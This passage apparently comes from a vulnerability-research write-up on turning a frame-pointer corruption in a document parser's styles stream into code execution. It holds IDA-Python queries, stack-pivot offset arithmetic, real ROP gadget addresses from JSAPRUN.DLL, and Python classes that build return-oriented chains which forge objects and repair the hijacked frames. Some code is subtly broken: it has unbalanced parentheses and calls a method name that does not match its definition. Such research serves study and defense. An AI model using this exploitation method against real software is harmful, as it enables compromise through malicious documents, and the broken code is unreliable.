[7]  +0x1d24a9 : 0x3bc524a9..0x3bc52bef : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1d24a9            : lvars:00b4 args:6 refs:1   exits:1
[8]  +0x1d63a3 : 0x3bc563a3..0x3bc56601 : (1) FvT* : __thiscall object_9bd120::readStyleType(2003)_1d63a3            : lvars:0094 args:5 refs:1   exits:1
[9]  +0x391906 : 0x3be11906..0x3be11d9c : (1) FvT* : __thiscall object_9d0d30::readStyleType(2008)_391906            : lvars:00c4 args:7 refs:1   exits:2
[10] +0x392cab : 0x3be12cab..0x3be12ee2 : (1) FvT* : __thiscall object_9d0d30::readStyleType(2010)_392cab            : lvars:0064 args:7 refs:1   exits:1
[11] +0x393e4b : 0x3be13e4b..0x3be13f08 : (1) F-D+ :    __cdecl object_OSEG::pushCurrentStream?_393e4b               : lvars:000c args:5 refs:1   exits:1
[12] +0x3a6bec : 0x3be26bec..0x3be26cb2 : (1) FvD* : __thiscall struc_3a9de4::readStyleType(2005)_3a6bec             : lvars:0014 args:4 refs:1   exits:1
[13] +0x3a6cf0 : 0x3be26cf0..0x3be26d44 : (1) FvD+ :    __cdecl object_OSEG::decode_long_3a6cf0                      : lvars:001c args:2 refs:86  exits:1
[14] +0x3a6d44 : 0x3be26d44..0x3be26d8b : (1) FvT+ : __thiscall box_header::deserialize_3a6d44                       : lvars:000c args:2 refs:7   exits:1
[15] +0x3a6d8b : 0x3be26d8b..0x3be26fae : (1) F-T+ : __thiscall struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b : lvars:0008 args:2 refs:11  exits:1
[16] +0x3a6fae : 0x3be26fae..0x3be27048 : (1) FvT+ : __thiscall struc_3a9de4::readBoxHeader?_3a6fae                  : lvars:0024 args:2 refs:2   exits:1
[17] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664                      : lvars:001c args:2 refs:90  exits:1
[18] +0x3a96ed : 0x3be296ed..0x3be2972f : (1) F-D+ : __thiscall struc_3a9de4::get_flagField_3a96ed                   : lvars:0008 args:2 refs:2   exits:1
[19] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d            : lvars:18d4 args:4 refs:1   exits:1
[20] +0x6bf3a6 : 0x3c13f3a6..0x3c13f3e7 : (1) FvD+ : __thiscall object_9c2d50::create_field(64)_6bf3a6               : lvars:0020 args:1 refs:7   exits:1
[21] +0x779662 : 0x3c1f9662..0x3c1f96c0 : (1) F-t+ : __thiscall sub_3C1F9662                                         : lvars:0004 args:2 refs:3   exits:1
[22] +0x779828 : 0x3c1f9828..0x3c1f98ad : (1) FvD* : __thiscall object_9e82a0::deserialize_field_779828              : lvars:0028 args:2 refs:1   exits:1
[23] +0x77a7bf : 0x3c1fa7bf..0x3c1fa892 : (1) FvD* : __thiscall object_e7480::readStyleType(1002)_77a7bf             : lvars:0028 args:6 refs:1   exits:1
[24] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6                  : lvars:001c args:2 refs:36  exits:1
[25] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07                  : lvars:001c args:2 refs:98  exits:1
[26] +0x861925 : 0x3c2e1925..0x3c2e1993 : (1) FvD+ : __thiscall object_9e82a0::method_createfield_861925             : lvars:0040 args:1 refs:2   exits:1

# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its "lvars" than any of the others.

At this point, we can adjust the proof-of-concept for the vulnerability to include the 0x1000 record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, object_9e5ffc::readStyleType(1000)_1b6bf7, is called to read record type 0x1000. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate 0x1020 bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.

# Define a few temporary functions.
def guess_prolog(f, minimum):
    '''Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check "$ ignore micro"...'''
    fn, start = func.by(f), func.address(f)
    iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) > minimum)
    return start, next(iterable, start)

# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)

# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))

# Start at style record parser, flatten the first layer of calls.
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0]   +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094                                            : lvars:0000 args:8 refs:2256  exits:0
[1]   +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* :  __stdcall JSFC_5190                                            : lvars:0000 args:2 refs:25    exits:0
[2]   +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438                                            : lvars:0000 args:3 refs:32    exits:0
[3]   +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583                                            : lvars:0000 args:2 refs:620   exits:0
...
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch                                   : lvars:0000 args:1 refs:1613  exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe                                       : lvars:0000 args:2 refs:1082  exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ :  __unknown ___report_rangecheckfailure                          : lvars:0000 args:0 refs:104   exits:2

# Filter those 123 functions looking for one with a large frame size.
Python> db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1

# Search another layer deeper.
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ :    __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d       : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B                                    : lvars:1074 args:1 refs:1 exits:1

# 3 results. Record type 0x1000 looks like it's worth considering (and hence was named as such).

We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the object_9e5ffc::readStyleType(1000)_1b6bf7 method loads 0x1000 bytes of data from the stream onto the stack.

Now that we’ve found a candidate with the ability to read a large amount of data from the stream into its frame, we’ll need to know how much to adjust the stack pointer to reach it. To determine this value, we'll need to calculate the distance between the offset of the 0x1000-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at 0x3C1FAF0F, object_9c2044::method_processStreams_77af0f. Thus, we will only need the distance from the frame belonging to that function.

# Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python> hijack_backtrace =                       [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

Python> diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python> assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])

# Use the index as the common function call, and grab all the frames that are distinct.
Python> commonframe = func.frame(hijack_backtrace[-diffindex])
Python> hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex]])

# Display the functions belonging to the callstacks where we want to hijack execution,
# and the function to use for allocating a large amount of data from the document.
Python> pp(listmap(fcompose(func.by, func.name), hijack + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_OFRM::openStreamByName?_132de4']

Python> pp(listmap(fcompose(func.by, func.name), huge + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'struc_3a9de4::parseStylesContent_3a7048',
 'object_9e5ffc::readStyleType(1000)_1b6bf7',
 'object_OSEG::method_readHugeBuffer(1000)_1b6d66']

# Display the frame belonging to the function triggering the vulnerability. We will be hijacking the return
# pointer inside this frame at -0xA8 from the frame for `object_9c2044::method_processStreams_77af0f`.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0]
<class 'structure' name='$ F3BBB2DE4' offset=-0xb4 size=0x20>
[0] -b4+0x2               __int16 'anonymous_0'     (<class 'int'>, 2)
    -b2+0x2                                         [None, 2]
[1] -b0+0x4                   int 'var_4'           (<class 'int'>, 4)
[2] -ac+0x4               char[4] ' s'              [(<class 'int'>, 1), 4]
[3] -a8+0x4               char[4] ' r'              [(<class 'int'>, 1), 4]
[4] -a4+0x4   JSVDA::object_OFRM* 'ap_oframe_0'     (<class 'type'>, 4)
[5] -a0+0x4                 char* 'ap_streamName_4' (<class 'type'>, 4)
[6] -9c+0x4                   int 'av_flags_8'      (<class 'int'>, 4)
[7] -98+0x4  JSVDA::object_OSEG** 'ap_result_c'     (<class 'type'>, 4)

# Display the frame belonging to the function that we can use for loading a large
# amount of data from the document. Our data is loaded at -0x114C from the common frame.
Python> struc.right(commonframe, [frame.members for frame in huge])[0]
<class 'structure' name='$ F3BC36D66' offset=-0x1168 size=0x1044>
     -1168+0xc                                                 [None, 12]
[0]  -115c+0x4                     int 'var_1014'              (<class 'int'>, 4)
[1]  -1158+0x4                     int 'var_1010'              (<class 'int'>, 4)
[2]  -1154+0x4                     int 'var_100C'              (<class 'int'>, 4)
[3]  -1150+0x4              box_header 'lv_boxHeader_1008'     <class 'structure' name='box_header' offset=-0x1150 size=0x4>
[4]  -114c+0x1000           char[4096] 'lv_buffer(1000)_1004'  [(<class 'int'>, 1), 4096]
[5]   -14c+0x4                     int 'lv_canary_4'           (<class 'int'>, 4)
[6]   -148+0x4                 char[4] ' s'                    [(<class 'int'>, 1), 4]
[7]   -144+0x4                 char[4] ' r'                    [(<class 'int'>, 1), 4]
[8]   -140+0x4     JSVDA::object_OSEG* 'ap_oseg_0'             (<class 'type'>, 4)
[9]   -13c+0x4                     int 'av_size_4'             (<class 'int'>, 4)
[10]  -138+0x4                    int* 'ap_resultSize_8'       (<class 'type'>, 4)
[11]  -134+0x4    object_9e5ffc::data* 'ap_unused_c'           (<class 'type'>, 4)
[12]  -130+0x4       JSFC::CPtrArray** 'ap_ptrArray_10'        (<class 'type'>, 4)
[13]  -12c+0x4       JSFC::CPtrArray** 'ap_ptrArray_14'        (<class 'type'>, 4)
[14]  -128+0x4                     int 'avw_usedFromHeader_18' (<class 'int'>, 4)

# List the members needed to calculate the number of bytes we need to pivot the
# stack pointer into a buffer that contains more data read from the file.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0].list(' *')
[2] -ac:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -a8:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

Python> struc.right(commonframe, [frame.members for frame in huge])[0].list(index=range(8), predicate=lambda m: m.size >= 0x100)
[4] -114c:+0x1000 char[4096] 'lv_buffer(1000)_1004' [(<class 'int'>, 1), 4096]

# Take the difference between the buffer with our stream data, and the stack
# pointer at the point where we can execute an address of our choosing.
Python> stack_offset_at_time_of_call = -0xA8 - 6 * 4 - 4
Python> -0x114c - stack_offset_at_time_of_call
-0x1088

By laying out each of the frames contiguously, we can see that the distance from the stack pointer at the point of hijack to the frame belonging to 0x3BE276BE is +0xA8 bytes. However, we will need to adjust it by six parameters and include the saved return address as was described previously. This results in a total of 0xC4 bytes for the first distance. Next, we take the distance from the frame containing our huge buffer to the frame owned by 0x3BE276BE. This results in a total distance of +0x114C bytes. The difference of both of these distances results in +0x1088 bytes. This is the value that we will adjust our stack pointer with so that we can pivot execution directly into the huge buffer that contains our desired stack layout.

Hijacking execution and using pivot

Due to our prior work on promoting the vulnerability, we’ve developed it into the capability of writing an arbitrary amount of data anywhere within the address space. We also did the work to determine how to control a frame pointer which enables us to take control of the %ecx register in the method that owns said frame. This register contains the this pointer which refers to an object and is used when the implementation needs to access a property from the object or a necessary virtual method. After controlling the frame pointer, we can now forge this object and substitute an address of our choosing to be dereferenced as the virtual method table.

.text:3BBB2E1D     loc_3BBB2E1D:                           ; CODE XREF: object_OFRM::openStreamByName?_132de4+17↑j
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] we control this with our frame pointer
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] our forged vftable contains our target at +0x10
.text:3BBB2E31 00C                 lea     esp, [ebp-8]
.text:3BBB2E34 00C                 pop     esi
.text:3BBB2E35 008                 mov     ecx, [ebp+var_4]
.text:3BBB2E38 008                 xor     ecx, ebp        ; StackCookie
.text:3BBB2E3A 008                 call    __security_check_cookie(x)
.text:3BBB2E3F 008                 leave
.text:3BBB2E40 000                 retn

In the listing, we’ll need to specify the address to execute at offset +0x10 of our forged virtual method table. This will result in the listed instructions dereferencing the virtual method of our controlled object and allow us to hijack execution. In the previous section, we calculated the distance between the stack pointer and a place that we can use to load a page-worth of data from the stream into a buffer on the stack. The only major thing that is left to do is to locate a stack pivot that we can use with the size from the previous section to adjust the stack pointer into our page-worth of stream data. Once we’ve pivoted, we can continuously execute the necessary instructions to load our payload into the address-space.

By enumerating the non-relocatable modules within the address-space of the application, we can identify many instances of the following instruction sequences. Each of these sequences allows us to adjust the stack pointer using the value loaded at -0x18 relative to the %ecx register. As we completely control the %ecx register due to our frame overwrite, we can store the distance that we had previously calculated at -0x18 from our %ecx register to pivot to our forged call stack. Our completed process can then be summarized by creating a fake virtual method table, assigning the address of one of the listed sequences to offset +0x10 of it, and then storing our distance at -0x18 of it. When the virtual method is then called, we will have begun the very first stage of actually hijacking the application’s instruction pointer.

JSAPRUN.DLL     0x610202e0: add esp, dword ptr [ecx - 0x18]; ret; 
JSAPRUN.DLL     0x61048954: add esp, dword ptr [ecx - 0x18]; dec edi; ret; 
JSAPRUN.DLL     0x610a0265: add esp, dword ptr [ecx - 0x18]; dec edx; clc; call dword ptr [ecx + 0x56]; 
JSAPRUN.DLL     0x610a13c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [eax]; clc; call dword ptr [ecx + 0x56]; 
JSAPRUN.DLL     0x6108d2c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [ecx - 7]; call dword ptr [ecx - 0x7d]; 
JSAPRUN.DLL     0x61037b04: add esp, dword ptr [ecx - 0x18]; lahf; sar esi, 1; call dword ptr [ecx + 0x68];
JSAPRUN.DLL     0x61029acd: add esp, dword ptr [ecx - 0x18]; salc; mov cl, 0xff; call dword ptr [ecx + 0x56]

Generalizations on Instruction Sequence Reuse

When putting together the chunks that are necessary for loading arbitrary code, each sequence contains a side effect that contributes to the necessity of said chunk, and an attribute that determines the method by which one can continue execution from it. For the second attribute, an instruction sequence can continue its execution in only a few ways.

The first method is generally recognized as return-oriented programming and requires control of memory that resides within a stack frame. The second method involves the combination of branch instruction and an immediate register which requires arithmetic and control of the register to continue execution. The third method involves a dereference and a branch instruction. This method requires control of an address that is relative to a register, or a branch that references a global within the address-space of the target and control of said memory location. There is a fourth method that involves runtime or operating-system-provided facilities, however, this method has not been explored within the provided exploit.

The two types of branches that are necessary to leverage each of these methods are a preserved branch which preserves some aspect of the current execution scope, or a direct branch which either discards or does not have any effect on the current scope. Generally, the primary characteristic that distinguishes whether a desired sequence can be continued from the chunk that was previously executed relies on how it may affect the stack pointer upon its entry and its exit. This is a result of the stack pointer, in essence, having similar characteristics as the instruction pointer with regard to instructions that affect it.

Based on these assumptions, the table containing the offsets of the sequences containing the necessary side effects leveraged during the exploitation process keeps track of two pieces of data. The first is the stack delta for the entirety of each chunk (excluding the stack delta if the sequence directly influences the stack pointer). The second piece of data involves any adjustments that may be applied to the stack pointer after the code chunk has continued execution to its following sequence.

From these two pieces of data, the following Python code can be used to isolate the process of chaining sequences together from the process of putting together the necessary side-effects for leveraging code execution. By implementing this abstraction, this has the effect of simplifying the stack layout process enabling an implementer to put together code sequences in a way that is better oriented toward reusability.

class StackReceiver(object):
    def __init__(self, receiver):
        self._receiver = receiver
        self._state = coro = self.__sender(receiver)
        next(coro)

    def sender(self, receive_word):
        release = None
        while True:
            while not release:
                offset = (yield)
                receive_word(offset)
                adjust = (yield)
                if adjust and isinstance(adjust, (tuple, list)):
                    [receive_word(integer) for integer in adjust]
                elif adjust:
                    receive_word(dyn.block(adjust)))
                release = (yield)

            offset = (yield)
            receive_word(offset)
            if isinstance(release, (tuple, list)):
                [receive_word(integer) for integer in release]
            else:
                receive_word(dyn.block(release))

            adjust = (yield)
            if adjust and isinstance(adjust, (tuple, list)): 
                [receive_word(integer) for integer in adjust]
            elif adjust:
                receive_word(dyn.block(adjust)))
                
            release = (yield)
        return

    def send(self, snippet, *integers):
        '''Simulate a return.'''
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        state.send(integers if integers else adjust)
        state.send(release)

    def call(self, offset, *parameters):
        '''Simulate a call.'''
        state = self._state
        offset, adjust, release = offset if isinstance(offset, (tuple, list)) else (offset, 0, 0)
        state.send(offset)
        state.send(None)
        state.send(parameters)

    def skip(self, count):
        '''Clean up any extra parameters assumed by the current calling convention.'''
        state = self._state
        if count:
            state.send(0)
            state.send([0] * (count - 1)) if count > 1 else state.send(None)
            state.send(None)
        return

### Example usage
layout = []
stack = StackReceiver(layout.append)

# assign %eax with the delta from our original frame to &lp_oframe_230 or &ap_oframe_0.
# this way we can dereference it to get access to the contents of the object_OFRM.
delta_oframe = scope_pivot['F3C1FAF0F']['ap_oframe_0'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()
delta_oframe = scope_pivot['F3C1FAF0F']['lp_oframe_230'].getoffset() - scope_pivot['F3BBB2DE4'][' s'].getoffset()

stack.send(JSAPRUN.assign_pop_eax, delta_oframe)
stack.send(JSAPRUN.arithmetic_add_ebp_eax)

# now we can dereference %eax to point at the object_OFRM representing our document.
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
stack.send(JSAPRUN.assign_esi_eax, 0)

# adjust %eax by +4 so that we can load the value from object_OFRM.v_index_4 into %esi.
# the integer at this index is a handle and is all we need to create a fake object_OFRM.
stack.send(JSAPRUN.arithmetic_add_imm4_eax)
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)

...

# stash %ecx containing our context into %ebx for the purpose of preserving our context.
# this way we can restore it later from %ebx to regain access to our current state.
stack.send(JSAPRUN.assign_ecx_eax)
stack.send(JSAPRUN.exchange_eax_ebx)

# void *__thiscall JSAPRUN.dll!method_mallocPageAndSurplus_7ebee(_DWORD *this, size_t av_size_0)
# this function allocates a page (0x1000) and writes it to 0x24(%ecx). if av_0 > 0x1000, then it
# also returns a pointer to that number of bytes and does nothing else.
stack.call(JSAPRUN.procedure_method_mallocPageAndSurplus_7ebee, 0x1001, 0x11111111)
stack.send(JSAPRUN.arithmetic_add_imm4_esp)

...

# open up a stream by its name, layout.frame.stream_name. %ecx contains our fake object_OFRM.
new_context = layout['context']['object(OSEG)']
assert(not(divmod(new_context.int() - layout['context'].getoffset(), 4)[1])), "Result {:s} is unaligned from {:s} and will not be accessible".format(layout['context']['object(OSEG)'].instance(), layout['context'].instance())
stack.send(JSAPRUN.assign_pop_eax, layout['object_OFRM.vftable'].getoffset())
# int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
stack.send(JSAPRUN.callsib1_N_eax_c__ecx, layout['frame']['stream_name'].getoffset(), 0x22222222, 3, 0x33333333, new_context.getoffset())

# copy the %ebx containing our context back into %ecx.
stack.send(JSAPRUN.assign_pop_ecx, 0)
stack.send(JSAPRUN.exchange_eax_ebx)
stack.send(JSAPRUN.arithmetic_add_eax_ecx)
stack.send(JSAPRUN.exchange_eax_ebx)

A few more abstractions around this concept were developed to allow further flexibility such as marking a specific slot on the stack relative to another code chunk, and then using the side effect of a prior sequence to load from or store a value to that slot. By combining the second or third execution-retaining methods with a preserving-branch instruction, primitive looping constructs are possible without the need for conditional branches through the simulation of a jump table. This is useful for the situation where the amount of data being processed by each sequence is of a non-static length and dependent on a value only available during runtime.

class ReceiverMarker(StackReceiver):
    '''Experimental class for referencing a specific slot within the stack and marking the snippet where the slot is referenced.'''
    def __init__(self):
        self._collected = collected = []
        super(ReceiverMarker, self).__init__(collected.append)
        self._marked = []

    def use(self, snippet, *integers):
        '''Mark the specified snippet where a slot should be calculated from.'''
        self.send(snippet, *integers)
        self._marked = self._collected[:]

class Stacker(StackReceiver):
    '''Experimental class for referencing a specific slot within the stack to be either read from or written to.'''
    def __init__(self, stack):
        super(Stacker, self).__init__(stack.append)
        self._stack = stack

    @contextlib.contextmanager
    def reference(self, snippet, *integers, **index):
        '''Reference a slot within the stack and use it as a parameter to the specified snippet.'''
        marker = ReceiverMarker()
        try:
            abort = None
            yield marker
        except Exception as exception:
            abort = exception
        finally:
            if abort: raise abort

        # build the stack containing the entire contents that were collected.
        tempstack = parray.type(_object_=ptype.pointer_t).a
        [ tempstack.append(item) for item in marker._collected ]

        # build the stack that was marked by the caller.
        markstack = parray.type(_object_=ptype.pointer_t).a
        [ markstack.append(item) for item in marker._marked ]

        # build the stack that is being used to adjust towards a specific index.
        adjuststack = parray.type(_object_=ptype.pointer_t)
        adjuststack = adjuststack.alloc(length=index.get('index', 0))

        # push the caller's requested instruction onto the stack using the size that was marked.
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        items = [item for item in integers]
        state.send(items + [tempstack.size() - markstack.size() + adjuststack.size()])
        state.send(release)

        # now we can push all of the elements that the caller wanted onto the stack.
        Freceive = self._receiver
        [ Freceive(item) for item in tempstack ]

The following listing is an example of the usage of the prior-mentioned abstractions.

# load the page from layout.vprotect.dynamic_buffer into %edi which was written to 0x24(%ecx) earlier.
stack.send(JSAPRUN.assign_pop_eax, divmod(layout['vprotect']['dynamic_buffer'].getoffset() - layout['context'].getoffset(), 4)[0])
stack.send(JSAPRUN.load_slotX_eax_eax)
stack.send(JSAPRUN.exchange_eax_edi)
stack.send(JSAPRUN.return_0)

# now we write %edi directly into slot 1 of whatever follows us.
with stack.reference(JSAPRUN.assign_pop_eax, index=1) as store:
    store.use(JSAPRUN.store_edi_sib1_eax_esp_0)     # mark the index from this stack position
    store.send(JSAPRUN.assign_pop_eax, layout['object_OSEG.vftable'].getoffset() - layout['context'].getoffset())
    store.send(JSAPRUN.arithmetic_add_eax_ecx)

    # adjust %ecx to move from layout.context to layout.object_OSEG.vftable so
    # that we can eventually call 8(%ecx) later to read from the opened stream.
    delta_object_oseg = layout['context']['object(OSEG)'].getoffset() - layout['object_OSEG.vftable'].getoffset()
    assert(not(delta_object_oseg % 4)), "{:s} is not aligned from {:s} and will be inaccessible.".format(layout['context']['object(OSEG)'].instance(), layout['object_OSEG.vftable'].instance())
    store.send(JSAPRUN.assign_pop_eax, divmod(delta_object_oseg, 4)[0])
    store.send(JSAPRUN.load_slotX_eax_eax)

# "store.use" overwrites index 0+1, 0xBBBBBBBB, in the following sequence.
# int __stdcall object_OSEG::method_read_2c310(JSVDA::object_OSEG *ap_object_0, BYTE *ap_buffer_8, int av_size_c, int *ap_resultSize_c)
stack.send(JSVDA.callsib1_N_ecx_8__eax__ecx, 0xBBBBBBBB, 0x1000, layout['unused_result'].getoffset())

# calling object_OSEG::method_read_2c310 cleans up all args, but prior
# sequence misses 1.. which we take care of here.
stack.skip(1)

Repairing the frame

In a previous section, we’ve combined all of the capabilities that we’ve developed and can completely control the execution of the current thread with data that was read from the stream containing our vulnerability. We’ve also successfully developed a methodology that enables us to execute multiple sequences of instructions in succession. Normally this should be enough, however, at the time that we’ve taken control of the instruction pointer, all of the streams belonging to the document have completely gone out of scope.

Another thing of concern is that we’ve used our control of the frame pointer to swap the virtual method table of the only object that is responsible for referencing the contents of our document. This results in the document being completely inaccessible to us at this point in execution, and prevents us from returning to the application when we’re done. We can avoid this, however, if we can repair the frame and re-create the objects that were in scope at the time the application was supposed to complete its parsing of the document stream.

Hence, our next step requires us to discover a way of restoring the functionality to access the contents of our document. Fortunately, we can use the frame pointer that is stored within the %ebp register to access the frame of our caller. This allows us to use it as a reference point and to access any information that was previously in the stack. Hence, when we use our ability to execute sequences of prior loaded instructions, we will need to preserve this register as it is our only gateway into the application’s original stack.

During the execution of our sequences, we can also use the %ecx about register that we took control of when modifying the frame pointer. This can be leveraged as a reference point to access or store any information to the forged object that was created with our vulnerability. It is also worth considering that the calling convention for the application preserves registers when executing a different function. As a result, the %ebx, %esi, and %edi registers can also be used to preserve any values that we need when our sequences dispatch back into the process after they fulfill our needs.

Reviewing the call-stack at the time that the virtual method from our forged object is called shows that we are 4 frames away from the function whose frame we hijacked. Hence, we will need to know the sizes of these frames if we want to access any of their contents. The diagram that follows shows each of these frames along with their sizes. In this diagram, the frame pointer within the %ebp register was preserved in the frame for object_OFRM::openStreamByName?_132de4 at 0x3BBB2DE4, and references the frame pointer farther up the call stack and preserved in the function for object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be at 0x3BE276BE.

# Assign the path through the backtrace that ends up dereferencing from our virtual method table.
Python> backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]

Python> pp(listmap(func.name, backtrace))
['object_OFRM::openStreamByName?_132de4',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::method_processStreams_77af0f']

# Grab the frame members for each function in the backtrace in order to study their layout.
Python> layout = struc.right(func.frame(backtrace[-1]), [func.frame(f) for f in backtrace[:-1]])

# Display each of the frames.
Python> pp(layout)
[<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>,
 <class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>,
 <class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>,
 <class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>]

# List the location of each preserved frame pointer in our callstack.
Python> [(print(frame), frame.list(' *')) for frame in layout]
<class 'structure' name='$ F3BBB2DE4' offset=-0x344 size=0x20>
[2]  -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3]  -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE276BE' offset=-0x324 size=0xa8>
[25] -298:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[26] -294:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3BE26CB2' offset=-0x27c size=0x18>
[0]  -278:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[1]  -274:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[ 9]   -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10]   -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

After we stash the state of the frame pointer during execution, we then use it to immediately repair the frame pointer that was hijacked farther up the stack in the object_9c2044::method_processStreams_77af0f at 0x3C1FAF0F. Since we know what the original value for the frame pointer was intended to be, we can add the distance between the calculations of what the original frame pointer was before we overwrote it with the vulnerability.

# Owner of the frame pointer that we have access to.
Python> func.name(func.by(layout[0]))
'object_OFRM::openStreamByName?_132de4'

Python> layout[0].members.list(' *')
[2] -33c:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -338:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

# Owner of the frame pointer that we've overwritten.
Python> func.name(func.by(layout[-1]))
'object_9c2044::method_processStreams_77af0f'

Python> layout[-1].members.list(' *')
[ 9] -8:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10] -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

# Calculate the delta between both of these locations.
Python> layout[-1].members.by(' s').offset - layout[0].members.by(' s').offset
0x334

